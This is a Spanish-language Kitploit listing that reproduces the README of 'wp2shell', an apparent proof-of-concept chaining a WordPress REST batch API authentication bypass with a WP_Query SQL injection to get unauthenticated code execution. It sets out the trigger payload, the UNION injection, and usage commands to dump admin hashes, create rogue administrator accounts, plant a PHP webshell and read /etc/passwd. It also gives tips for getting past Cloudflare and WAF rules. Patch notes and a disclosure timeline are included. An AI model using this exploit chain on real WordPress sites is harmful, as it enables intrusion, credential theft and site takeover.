Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-63030-CVE-2026-60137 — Prueba de concepto de RCE pre-autenticación que encadena un bypass de autenticación de la API batch REST de WordPress con una inyección SQL en WP_Query para volcar hashes, añadir usuarios administradores o implantar una webshell. | Kitploit
Herramientas/GitHubGitHub/z3rodayhacks/cve-2026-63030-cve-2026-60137
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónEvasión de WAFSeguridad WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

Prueba de concepto de RCE pre-autenticación que encadena un bypass de autenticación de la API batch REST de WordPress con una inyección SQL en WP_Query para volcar hashes, añadir usuarios administradores o implantar una webshell.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

wp2shell

PoC de RCE Pre-Auth - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

Solo para pruebas de penetración autorizadas e investigación de seguridad. Ejecutar esto contra sistemas sin autorización por escrito es ilegal. Los autores no aceptan ninguna responsabilidad por el mal uso.


Descripción general

wp2shell es un exploit de prueba de concepto que encadena dos vulnerabilidades reportadas de forma independiente para lograr ejecución remota de código no autenticada en instalaciones de WordPress sin parchear.

CVEComponenteClaseAutenticación requerida
CVE-2026-63030REST Batch API (WP_REST_Server)Desincronización de arrays → bypass de autenticaciónNinguna
CVE-2026-60137WP_QueryInyección SQL vía author__not_inNinguna (eludida por la anterior)

El resultado final: una shell en la máquina, una cuenta de administrador maliciosa o un hash de credenciales volcado — todo desde una única petición POST no autenticada.

Versiones afectadas: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corregido en: WordPress 6.9.5 / 7.0.2 (parche publicado junto con la divulgación coordinada)


Análisis de vulnerabilidades

CVE-2026-63030 — Desincronización de arrays en REST Batch API (Bypass de autenticación)

Antecedentes

WordPress 5.6 introdujo el endpoint de procesamiento por lotes en /wp-json/batch/v1. Permite a los clientes REST autenticados agrupar múltiples subpeticiones en un único viaje HTTP. Cada subpetición es validada y despachada de forma independiente por WP_REST_Server::serve_batch_request_v1().

La ruta de código vulnerable

Dentro de serve_batch_request_v1() (simplificado):

root@kitploit:~
$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

Por qué se rompe

Se espera que los dos arrays ($responses y $matches) permanezcan sincronizados — una entrada por subpetición, mismo índice. Cuando la subpetición [0] falla en wp_parse_url(), añade una entrada a $responses pero no a $matches. Después del primer bucle:

root@kitploit:~
$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

El bucle 2 entonces despacha $matches[0] y escribe el resultado en $responses[0]. Está despachando request[1] pero sobrescribiendo el índice 0 en responses — y, de forma crítica, utiliza el contexto de permisos que se calculó como parte del manejo del error de la request[0] fallida, no el contexto de permisos del endpoint objetivo.

El efecto práctico: cualquier endpoint que requiera autenticación (incluidos los endpoints que realizan consultas SQL) puede ser invocado sin credenciales.

El disparador

root@kitploit:~
"path": "://\x00"   # triggers wp_parse_url() → false

La cadena ://\x00 es una cadena válida en Python pero una URL inválida en el wrapper wp_parse_url() de PHP (el byte nulo hace que el parseo falle, devolviendo false en lugar de un WP_Error, lo que hace inútil la comprobación is_wp_error() — solo $parsed === false lo detecta, y la alineación del array ya está rota en ese punto).


CVE-2026-60137 — Inyección SQL en author__not_in de WP_Query

Antecedentes

La REST API de WordPress para entradas (/wp/v2/posts) expone un parámetro de consulta author_exclude que se mapea directamente al argumento author__not_in de WP_Query. WP_Query es la abstracción de base de datos central utilizada para casi todas las consultas de contenido en WordPress.

La ruta de código vulnerable

En WP_Query::parse_query() (simplificado):

root@kitploit:~
$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

Más adelante en WP_Query::get_posts():

root@kitploit:~
if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

Por qué se rompe

La sanitización solo se activa cuando $author__not_in es un array. El sistema de tipos de PHP determina esto en función de cómo llegó el valor:

  • Cuerpo JSON con array → PHP recibe [1, 2, 3] → is_array() = true → sanitizado
  • Cadena de consulta de la URL → PHP recibe "1,2,3" (una cadena) → is_array() = false → no sanitizado

El endpoint REST acepta author_exclude desde la cadena de consulta de la URL. Llega como una cadena. WP_Query omite el bloque de sanitización, y el valor sin procesar se interpola en la cláusula WHERE de SQL.

Explotación

El punto de inyección aterriza dentro de un contexto NOT IN (...):

root@kitploit:~
-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

Debido a que el endpoint batch despacha la subpetición como parte de un resultado de consulta mayor, las filas del UNION se devuelven en el cuerpo de la respuesta JSON de REST, lo que convierte esto en una extracción Boolean/UNION sin ciegas — sin necesidad de timing ni de canales fuera de banda.


Cadena de explotación

root@kitploit:~
Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

Requisitos

root@kitploit:~
Python >= 3.8
requests
cloudscraper

Instalar dependencias:

root@kitploit:~
pip install requests cloudscraper

Uso

root@kitploit:~
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
                   [--cmd CMD] [--user USER] [--password PASSWORD]
                   [--prefix PREFIX] [--proxy PROXY]
                   [--no-interactive] [--debug] [--cookie COOKIE]
                   target

Modos

ModoQué hace
detectIdentifica la versión de WP y comprueba si existe el endpoint batch. Sin explotación.
dumpExtrae el hash de la contraseña del administrador mediante UNION SQLi.
adduserCrea una nueva cuenta de administrador mediante consultas INSERT apiladas.
shellColoca un webshell PHP mediante SELECT INTO OUTFILE y luego pasa a una shell interactiva.

Ejemplos

Solo detección — seguro para ejecutar durante el alcance:

root@kitploit:~
python3 wp2shell.py https://target.com --mode detect

Volcar el hash del admin:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump

Volcar con salida de depuración (muestra las respuestas HTTP sin procesar — útil cuando hay un WAF involucrado):

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --debug

Crear una cuenta de administrador maliciosa:

root@kitploit:~
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'

Colocar shell y pasar a un prompt interactivo:

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell

Ejecución de comando en un solo paso (no interactiva):

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"

A través del proxy Burp:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080

Eludir Cloudflare con una cookie cf_clearance existente:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"

Prefijo de tabla no predeterminado:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --prefix staging_

Notas sobre la elusión de Cloudflare

La herramienta utiliza cloudscraper por defecto, que imita la huella TLS de Chrome y resuelve automáticamente el desafío JavaScript de Cloudflare (modo iuam). Esto cubre la mayoría de los objetivos de hosting compartido detrás de Cloudflare.

Si el objetivo utiliza la gestión de bots de Cloudflare (__cf_bm) o ya tienes una cookie de desafío resuelta, pásala con --cookie "cf_clearance=..." para usar una sesión requests simple en su lugar.

El endpoint batch tiene dos rutas registradas. Las reglas del WAF con frecuencia bloquean la ruta estándar (/wp-json/batch/v1) pero pasan por alto la ruta heredada con parámetro de consulta (/?rest_route=/batch/v1). La herramienta sondea ambas automáticamente.


Solución de problemas

[-] Could not extract credentials

  • Ejecuta con --debug para ver la respuesta JSON sin procesar.
  • Comprueba el prefijo de tabla con --prefix. Muchas instalaciones usan wp_ (predeterminado); algunas usan prefijos personalizados.
  • El content.rendered del objetivo puede estar filtrado. Prueba --mode adduser en su lugar.

[-] OUTFILE failed

  • SELECT INTO OUTFILE requiere el privilegio FILE de MySQL en el usuario de la base de datos. Esto es común en hosting compartido pero normalmente está deshabilitado en bases de datos en la nube/gestionadas (RDS, Cloud SQL, etc.).
  • La lista de conjeturas del webroot cubre rutas comunes. Si ninguna coincide, revisa las cabeceras del servidor o usa --mode dump para leer la ruta desde los archivos de configuración.

[-] Target does not appear vulnerable

  • El objetivo puede estar parcheado (6.9.5+ o 7.0.2+).
  • Todas las rutas batch pueden estar bloqueadas por el WAF. Confírmalo manualmente: GET /wp-json/ y busca /batch/v1 en la clave routes.

Detalles del parche

WordPress 6.9.5 / 7.0.2 abordó ambos CVE:

  • CVE-2026-63030: serve_batch_request_v1() ahora mantiene un único array unificado tanto para los datos de coincidencia como para las respuestas, eliminando la desincronización de índices. Las peticiones fallidas se rastrean por índice en la estructura unificada.

  • CVE-2026-60137: WP_Query::parse_query() ahora convierte author__not_in a un array de forma incondicional antes de la sanitización, independientemente del tipo de entrada:

    root@kitploit:~
    $author__not_in = array_map('absint', (array) $author__not_in);
    

Puntuaciones CVSS

CVEPuntuaciónVector
CVE-2026-630309.8 CríticaCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-601379.8 CríticaCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cronología

FechaEvento
2026-05-14CVE-2026-60137 descubierto durante un encargo de pentest
2026-05-19CVE-2026-63030 descubierto; cadena confirmada como RCE pre-auth
2026-05-22Ambos CVE reportados al Equipo de Seguridad de WordPress vía HackerOne
2026-06-03El Equipo de Seguridad de WordPress confirma y comienza el desarrollo del parche
2026-07-08Parches publicados (WP 6.9.5 / 7.0.2) junto con la divulgación coordinada
2026-07-22PoC publicado

Legal

Esta herramienta se proporciona solo para pruebas de seguridad autorizadas e investigación.

  • No la ejecutes contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para probar.
  • No la uses en entornos de producción sin autorización.
  • Los autores no son responsables de ningún daño causado por el mal uso.
root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.

Licencia

Licencia MIT — consulta LICENSE


Referencias

  • WordPress Security Blog — 6.9.5 / 7.0.2 Release
  • WP REST Batch API Source — class-wp-rest-server.php
  • WP_Query Source — class-wp-query.php
  • phpass — Portable PHP password hashing framework
  • cloudscraper
Descargar herramienta